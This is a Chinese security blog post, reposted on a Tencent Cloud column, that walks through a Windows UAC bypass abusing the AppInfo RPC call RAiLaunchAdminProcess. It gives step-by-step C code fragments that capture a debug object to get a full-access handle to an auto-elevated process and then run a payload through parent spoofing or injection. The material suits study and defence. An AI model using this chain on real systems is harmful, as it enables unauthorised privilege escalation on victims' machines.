Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >利用本地RPC接口的UAC Bypass

利用本地RPC接口的UAC Bypass

作者头像
黑白天安全
发布于 2022-04-12 06:53:19
发布于 2022-04-12 06:53:19
1.6K01
代码可运行
举报
运行总次数:1
代码可运行

AppInfo是一个本地RPC服务,其接口ID为201ef99a-7fa0-444c-9399-19ba84f12a1a,AppInfo 是 UAC 提升的关键。ShellExecuteEx()通过 RPC 调用将所有提升请求转发到 AppInfo NT 服务。AppInfo 在系统上下文中调用一个名为“approve.exe”的可执行文件,这是启动用户同意的对话框的可执行文件.

当对话框处于活动状态时,我们看到的不是会话1的WinSta0\Default。而是会话0上的桌面。被称为“安全桌面”,在1中我们描述了这个部分。AppInfo然后从“安全桌面”中获取结果。并确定是否需要启动新进程(即接受了提升请求)。AppInfo然后使用完整的管理令牌创建一个进程,那么会话1桌面上登录用户的完整性级别为高。

要以当前用户的身份在不同会话的不同桌面上创建进程,需要七个阶段:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
AppInfo前往并与本地安全机构对话,以获取会话1的登录用户的提升令牌。
AppInfo加载一个STARTUPINFOEX结构(Vista新增),并调用全新的Vista API InitializeProcThreadAttributeList(),其中包含一个属性的空间。
调用OpenProcess()以获取启动RPC调用的进程的句柄。
UpdateProcThreadAttribute()由PROC_THREAD_ATTRIBUTE_PARENT_进程调用,并使用在步骤3中检索到的句柄。
调用CreateProcessAsUser()时,将显示扩展的_STARTUPINFO_以及步骤14的结果。
调用DeleteProcThreadAttributeList()。
收集结果,清理句柄。

一旦AppInfo成功启动进程,它就会通过RPC接口将一些信息传输回调用ShellExecuteEx()的应用程序。ShellExecuteEx()会绕一段时间,然后自我清理,最终返回整个函数调用,关闭线程,然后返回给调用方。

UAC的具体实现依赖于APPINFO服务对外提供的一个RPC服务端,通过ShellExecute API达到对用户透明的效果。根据大佬对其进行分析我们可以知道:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mov edi, [ebp+VarStartupInfo]
mov eax, [edi+_STARTUPINFOW.lpTitle]
mov [ebp+VarStartupInfo_Title], eax
mov eax, [edi+_STARTUPINFOW.dwX]
mov [ebp+VarStartupInfo_X], eax
mov eax, [edi+_STARTUPINFOW.dwY]
mov [ebp+VarStartupInfo_Y], eax
mov eax, [edi+_STARTUPINFOW.dwXSize]
mov [ebp+VarStartupInfo_XSize], eax
mov eax, [edi+_STARTUPINFOW.dwYSize]
mov [ebp+VarStartupInfo_YSize], eax
mov eax, [edi+_STARTUPINFOW.dwXCountChars]
mov [ebp+VarStartupInfo_XCountChars], eax
mov eax, [edi+_STARTUPINFOW.dwYCountChars]
mov [ebp+VarStartupInfo_YCountChars], eax
mov eax, [edi+_STARTUPINFOW.dwFillAttribute]
mov [ebp+VarStartupInfo_FillAttr], eax
mov eax, [edi+_STARTUPINFOW.dwFlags]
mov [ebp+VarStartupInfo_Flags], eax
mov cx, [edi+_STARTUPINFOW.wShowWindow]
mov [ebp+VarStartupInfo_ShowWindow], cx
...
push eax
push ebx
push 0FFFFFFFFh
push [ebp+hwnd]
lea eax, [ebp+VarStartupInfo_Title]
push eax
push [ebp+hMemToWinSta0_Desktop]
push [ebp+VarExpandedCurrDir]
push [ebp+ArgCreationFlags]
push [ebp+arg_8] ; Probably bInheritHandles
push [ebp+VarExpandedCommandLine]
push [ebp+VarExpandedApplicationName]
push StaticBindingHandle
lea eax, [ebp+pAsync]
push eax
call _RAiLaunchAdminProcess@52

该RPC服务中的RAiLaunchAdminProcess函数用于在权限不一致需要向上提权时进行UAC路由分发,具有以高权限启动进程的功能。当被启动的程序属于系统目录中的白名单进程时可避免弹窗以管理员权限启动。

RAiLaunchAdminProcess 的函数定义如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
struct APP_PROCESS_INFORMATION {
unsigned __int3264 ProcessHandle;
unsigned __int3264 ThreadHandle;
long ProcessId;
long ThreadId;
};


long RAiLaunchAdminProcess(
handle_t hBinding,
[in][unique][string] wchar_t* ExecutablePath,
[in][unique][string] wchar_t* CommandLine,
[in] long StartFlags,
[in] long CreateFlags,
[in][string] wchar_t* CurrentDirectory,
[in][string] wchar_t* WindowStation,
[in] struct APP_STARTUP_INFO* StartupInfo,
[in] unsigned __int3264 hWnd,
[in] long Timeout,
[out] struct APP_PROCESS_INFORMATION* ProcessInformation,
[out] long *ElevationType
);

该函数的大部分参数与CreateProcessAsUser API类似,服务会使用CreateProcessAsUser来创建新的UAC进程。

我们需要注意的为:CreateFlags 。此标志参数直接映射到CreateProcessAsUser的dwCreateFlags参数。除了验证调用者传递CREATE_UNICODE_ENVIRONMENT 之外,所有其他标志都按原样传递给 API。也就是说如果CreateFlags设置为DEBUG_PROCESS和DEBUG_ONLY_THIS_PROCESS 会自动启用对新 UAC 进程的调试,如果我们可以在提升的 UAC 进程上启用调试并获得其调试对象的句柄,我们可以请求第一个调试事件,该事件将返回对该进程的完全访问句柄。

但是访问进程的调试对象句柄需要对进程句柄具有PROCESS_QUERY_INFORMATION访问权限。

由于安全限制,我们只能获得对APP_PROCESS_INFORMATION::ProcessHandle结构字段中返回的提升进程句柄的PROCESS_QUERY_LIMITED_INFORMATION访问权限。这意味着我们不能只创建一个提升的进程并打开调试对象。

绕过方法为如果进程没有被提升,我们将有足够的访问权限来打开进程调试对象的句柄,该对象可以与后续提升的进程共享。我们知道StartFlags则是该接口独有的参数,可以控制新进程的权限,设置为1时会尝试提升进程权限,设置为0时则不会。那么我们可以设置为0;

使用利用流程为:

1.通过RAiLaunchAdminProcess创建一个新的非提升进程,其中StartFlags设置为 0 并且DEBUG_PROCESS创建标志集。这将在服务器中初始化 RPC 线程的 TEB 中的调试对象字段,并将其分配给新进程。

2.使用带有返回的进程句柄的NtQueryInformationProcess打开调试对象的句柄。

3.分离调试器并终止不再需要的新进程。

4.通过RAiLaunchAdminProcess创建一个新的提升进程,并将StartFlags设置为 1 并设置DEBUG_PROCESS创建标志。由于 TEB 中的调试对象字段已初始化,因此在步骤 2 中捕获的现有对象将分配给新进程。

5.检索将返回完整访问进程句柄的初始调试事件。

6.使用新的进程句柄代码可以注入提升的进程完成 UAC 绕过。

详细利用思路如下

1.将RAiLaunchAdminProcess 的startFlags设置为0,同时设置CreateFlags为CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,此时会创建一个未提权的新进程,并且调试对象会初始化并分配给新进程,

这里的进程表示为:c:\windows\system32\winver.exe

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
lstrcpyW(szProcess, L"C:\\Windows\\System32\\winver.exe");


if (!AicLaunchAdminProcess(szProcess,
szProcess,
0,
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
(LPWSTR)L"C:\\Windows\\System32",
(LPWSTR)L"WinSta0\\Default",
NULL,
INFINITE,
SW_HIDE,
&procInfo)) return STATUS_UNSUCCESSFUL;

2.使用NtQueryInformationProcess,该函数会检索进程的信息,用该函数获取到该进程的句柄,并启动调试对象的句柄。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// Capture debug object handle.
//获取调试对象句柄。
//
status = NtQueryInformationProcess(
procInfo.hProcess,
ProcessDebugObjectHandle,
&dbgHandle,
sizeof(HANDLE),
NULL);


if (!NT_SUCCESS(status)) {
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
return STATUS_UNSUCCESSFUL;
}

3.将该进程终止,分离调试器。目的是为了下一步能够将现有的调试对象分配给下一步创建的新进程。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// Detach debug and kill non elevated victim process.
//分离调试并杀死非提升的进程。
//
((void(NTAPI*)(HANDLE, HANDLE))GetProcAddress(LoadLibraryA("ntdll"), "NtRemoveProcessDebug"))(procInfo.hProcess, dbgHandle);
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);

4.再次使用RAiLaunchAdminProcess 函数,这次使用时,startFlags设置为1,CreateFlags配置同上,此时会创建一个提权的新进程(由于是白名单程序所以不会弹窗)。

由于调试对象在步骤1中已经初始化,所以会将在步骤2中现有的对象分配给新进程。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
lstrcpyW(szProcess, L"C:\\Windows\\System32\\computerdefaults.exe");
RtlSecureZeroMemory(&procInfo, sizeof(procInfo));
RtlSecureZeroMemory(&dbgEvent, sizeof(dbgEvent));


if (!AicLaunchAdminProcess(szProcess,
szProcess,
1,
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
(LPWSTR)L"C:\\Windows\\System32",
(LPWSTR)(L"WinSta0\\Default"),
NULL,
INFINITE,
SW_HIDE,
&procInfo)) return STATUS_UNSUCCESSFUL;

5.检索将返回完整访问权限的进程句柄的初始调试事件。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// Update thread TEB with debug object handle to receive debug events.
//使用调试对象句柄更新线程TEB以接收调试事件。
//
((void(NTAPI*)(HANDLE))GetProcAddress(LoadLibraryA("ntdll"), "DbgUiSetThreadDebugObject"))(dbgHandle);
dbgProcessHandle = NULL;


//
// Debugger wait cycle.
//调试器等待周期。
//
while (1) {


if (!WaitForDebugEvent(&dbgEvent, INFINITE)) break;


switch (dbgEvent.dwDebugEventCode) {
case CREATE_PROCESS_DEBUG_EVENT:
dbgProcessHandle = dbgEvent.u.CreateProcessInfo.hProcess;
break;
}


if (dbgProcessHandle) break;
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
}


if (dbgProcessHandle == NULL) return false;

6.利用父进程欺骗的手段以高权限执行指定的程序。,也可以使用该进程句柄做代码注入,注入到提升的进程中,则可完成UAC绕过。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// Create new handle from captured with PROCESS_ALL_ACCESS.
//使用PROCESS_ALL_ACCESS从捕获的文件创建新句柄。
//
dupHandle = NULL;
status = NtDuplicateObject(dbgProcessHandle,
NtCurrentProcess(),
NtCurrentProcess(),
&dupHandle,
PROCESS_ALL_ACCESS,
0,
0);


if (NT_SUCCESS(status)) {
//
// Run new process with parent set to duplicated process handle.
//在父进程设置为重复进程句柄的情况下运行新进程。
//
ucmxCreateProcessFromParent(dupHandle, lpszPayload);
NtClose(dupHandle);
}

参考:

Vista UAC:权威指南

https://www.codeproject.com/Articles/19165/Vista-UAC-The-Definitive-Guide

攻击技术研判|载荷隐匿与在野权限提升新手法分析

https://mp.weixin.qq.com/s/Hj38WoaH_MznVCUHIAmeaw

Google 零项目团队

https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html

UACMe

https://github.com/hfiref0x/UACME

UACBypassJF_RpcALPC

https://github.com/aaaddress1/PR0CESS/tree/main/UACBypassJF_RpcALPC

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
C/C++ 编写并提取通用 ShellCode
简易 ShellCode 虽然可以正常被执行,但是还存在很多的问题,因为上次所编写的 ShellCode 采用了硬编址的方式来调用相应API函数的,那么就会存在一个很大的缺陷,如果操作系统的版本不统一就会存在调用函数失败甚至是软件卡死的现象,下面我们通过编写一些定位程序,让 ShellCode 能够动态定位我们所需要的API函数地址,从而解决上节课中 ShellCode 的通用性问题。
王瑞MVP
2022/12/28
5490
C/C++ 编写并提取通用 ShellCode
windows下的反调试探究
我们知道一些游戏为了防止被分析会加入反调试的代码,那么我们的木马样本同样也需要用到反调试技术。攻和防其实是相对的,只有了解了调试的原理,才能更深入的进行对抗,本文就对一些常见的反调试手段进行总结并对深层原理进行探究。
红队蓝军
2022/05/17
6180
windows下的反调试探究
windows环境下的反调试探究
我们知道一些游戏为了防止被分析会加入反调试的代码,那么我们的木马样本同样也需要用到反调试技术。攻和防其实是相对的,只有了解了调试的原理,才能更深入的进行对抗,本文就对一些常见的反调试手段进行总结并对深层原理进行探究。
红队蓝军
2022/04/18
1.4K0
windows环境下的反调试探究
初探Windows用户态调试机制
最近在学习张银奎老师的《软件调试》,获益良多。熟悉Windows调试机制,对我们深入理解操作系统以及游戏保护的原理有着莫大好处。
战神伽罗
2019/07/24
1.2K0
初探Windows用户态调试机制
大灰狼远控木马源码分析
大灰狼远程控制木马是一个较为常见的远控工具,不同的木马病毒团伙对其定制改造后发布了诸多变种。本章将从启动过程、通信协议、远控功能三个方面逆向分析该木马的实现原理。
范蠡
2021/12/08
6.7K0
大灰狼远控木马源码分析
初探栈溢出
treme Vulnerable Drive,是一个项目,故意设计包含多种漏洞的驱动程序,旨在帮助安全爱好者来提升他们在内核层面的漏洞利用能力。
红队蓝军
2022/07/06
8220
初探栈溢出
x86平台inline hook原理和实现
0x1000地址的call指令执行后跳转到0x3000地址处执行,执行完毕后再返回执行call指令的下一条指令。
全栈程序员站长
2022/09/06
8590
x86平台inline hook原理和实现
1.6 编写双管道ShellCode后门
本文将介绍如何将CMD绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的ShellCode后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。
王瑞MVP
2023/07/04
3110
1.6 编写双管道ShellCode后门
进程和线程的创建过程
http://book.douban.com/annotation/28879242/
战神伽罗
2021/01/26
1.7K0
C/C++ HOOK 全局 API
全局 Hook 不一定需要用到 Dll ,比如全局的鼠标钩子、键盘钩子都是不需要 Dll 的,但是要钩住 API,就需要 Dll 的协助了,下面直接放上 Dll 的代码,注意这里使用的是 MFC DLL。
王瑞MVP
2022/12/28
1.1K0
C/C++ HOOK 全局 API
C/C++ Inline Hook 钩子编写技巧
Hook 技术通常被称为钩子技术,Hook技术是Windows系统用于替代中断机制的具体实现,钩子的含义就是在程序还没有调用系统函数之前,钩子捕获调用消息并获得控制权,在执行系统调用之前执行自身程序,简单来说就是函数劫持,本笔记将具体介绍应用层Hook的实现机制。
王瑞MVP
2022/12/28
2.8K0
C/C++ Inline Hook 钩子编写技巧
VC下提前注入进程的一些方法2——远线程带参数
        在前一节中介绍了通过远线程不带参数的方式提前注入进程,现在介绍种远线程携带参数的方法。(转载请指明出处)
方亮
2019/01/16
9060
C/C++ 实现常用的线程注入
各种API远程线程注入的方法,分别是 远程线程注入,普通消息钩子注入,全局消息钩子注入,APC应用层异步注入,ZwCreateThreadEx强力注入,纯汇编实现的线程注入等。
王瑞MVP
2022/12/28
7420
实战 | 进程伪装的思路和研究
当我们获取到一台主机的权限过后,拿到了自己想要搜集的信息,这时候我们就会留一个后门进行权限维持,权限维持的学问其实很深,今天就主要介绍其中一种比较简单的权限维持的方法 -- 进程伪装。
HACK学习
2021/11/02
1.2K0
干货|Windows下进程操作的一些C++代码
0x01 进程遍历 因为进程是在随时进行变动的所以我们需要获取一张快照 1.1 CreateToolhelp32Snapshot HANDLE CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID); 因为要获取进程第一个参数选择TH32CS_SNAPPROCESS来获取系统中所有的进程,具体可以参考[CreateToolhelp32Snapshot]:https://docs.microsoft.com/zh-cn/windows/w
HACK学习
2021/08/13
1.5K0
关于父进程和子进程的关系(UAC 绕过思路)
假设是a进程创建了b进程,那么a进程就是b进程的父进程。反之,假设是b创建了a,那么b进程就是a的父进程,这是在windows出现以来一直是程序员们都证实的,可是在在win Vista后面有了一个新安全消息机制。UAC(user account control),这里科普下UAC的功能,事实上UAC就是大家常见的安装软件或者启动程序的时候的出现的全屏变暗的一个提示框,这里顺便提醒下大家不要把它的提醒级别减少。这里大家不要蓄意把他的提示级别较低。这样会带来非常大的安全隐患。由于正常的UAC级别下,会检測程序是否有数字签名(可识别程序),以及他的数字签名是否合法。这对于一部分低端的木马具有提醒作用(注意这里说的是能够提示一般的 灰鸽子等变种,高端的木马会绕过这里,具体思路见后面),好了这里再回头说进程关系,这里先说一句关键的话:进程在创建进程时。他的父进程能够被指定。这个是在《深入解析Windows操作系统》(第六版)中有具体的说明,里面的意思是这样解释UAC提权的,当用户同意一次UAC提权时。AIS服务(AppInfo Service)调用的CreateProcessAsUser() 函数创建进程而且赋予恰当的管理员权限,在理论上说AIS服务(所在的进程)是提权后进程的父进程。当我们用进程树查看工具(顺便推荐几款用过的Process moniter。IceSworld,Process Explorer等) 查看时,会发现提权的进程的父进程是创建它的进程,这是由于AIS利用了CreateProcessAsUser() API中的一个新的功能,这里的新功能就是将提权进程的父进程设置成创建该进程的进程,假设我们利用一下该API,我们就能够将自己的进程的的父进程设置为随意进程(要提权绕过UAC的鸽子注意了),假设把木马进程的父进程设置为 杀软 的ID或者csrss.exe ,notepad.exe 等可信进程,那么对于根据父进程可疑(进程链)来查杀的杀软就轻易绕过了,这里顺便提示下还有一个绕过反调试的小技巧,假设你发现一个该死的小程序检查父进程是不是explorer.exe来推断是否是合法环境。那你会咋办?这里通常是逆向一些小游戏的时候常见滴,好吧,不卖关子了。根据上面的介绍,我调试的时候把他的父进程从 ollydbg直接改成他要求的explorer.exe 就Ok了。
全栈程序员站长
2022/07/20
1.8K0
8.3 NtGlobalFlag
NtGlobalFlag 是一个Windows内核全局标记,在Windows调试方案中经常用到。这个标记定义了一组系统的调试参数,包括启用或禁用调试技术的开关、造成崩溃的错误代码和处理方式等等。通过改变这个标记,可以在运行时设置和禁用不同的调试技术和错误处理方式,比如调试器只能访问当前进程、只允许用户模式调试、启用特定的错误处理方式等等。但由于NtGlobalFlag标记是内核全局标记,其改变会影响整个系统的行为,需要谨慎处理。
王瑞MVP
2023/09/26
2630
软件调试详解
在windows里面调试跟异常息息相关,如果想要对调试得心应手,异常处理的知识是必不可少的,本文主要介绍的是软件调试方面的有关知识,讲解调试程序和被调试程序之间如何建立联系
红队蓝军
2022/05/08
6060
软件调试详解
C/C++ 程序反调试方法总结
C/C++ 要实现程序反调试有多种方法,BeingDebugged,NtGlobalFlag,ProcessHeap,CheckRemoteDebuggerPresent,STARTUPINFO,IsDebuggerPresent,父进程检测,TLS 线程局部存储,RDTSC时钟检测反调试,MapFileAndCheckSum,等都可实现反调试,这里我分别编写了一些案例,基本上一锅端了。
王瑞MVP
2022/12/28
5350
自由控制程序运行方式的编程技巧
本篇继续阅读学习《有趣的二进制:软件安全与逆向分析》,本章是自由控制程序运行方式的编程技巧,主要介绍调试器的原理、代码注入和API钩子
中龙技术
2022/09/29
6940
自由控制程序运行方式的编程技巧
相关推荐
C/C++ 编写并提取通用 ShellCode
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验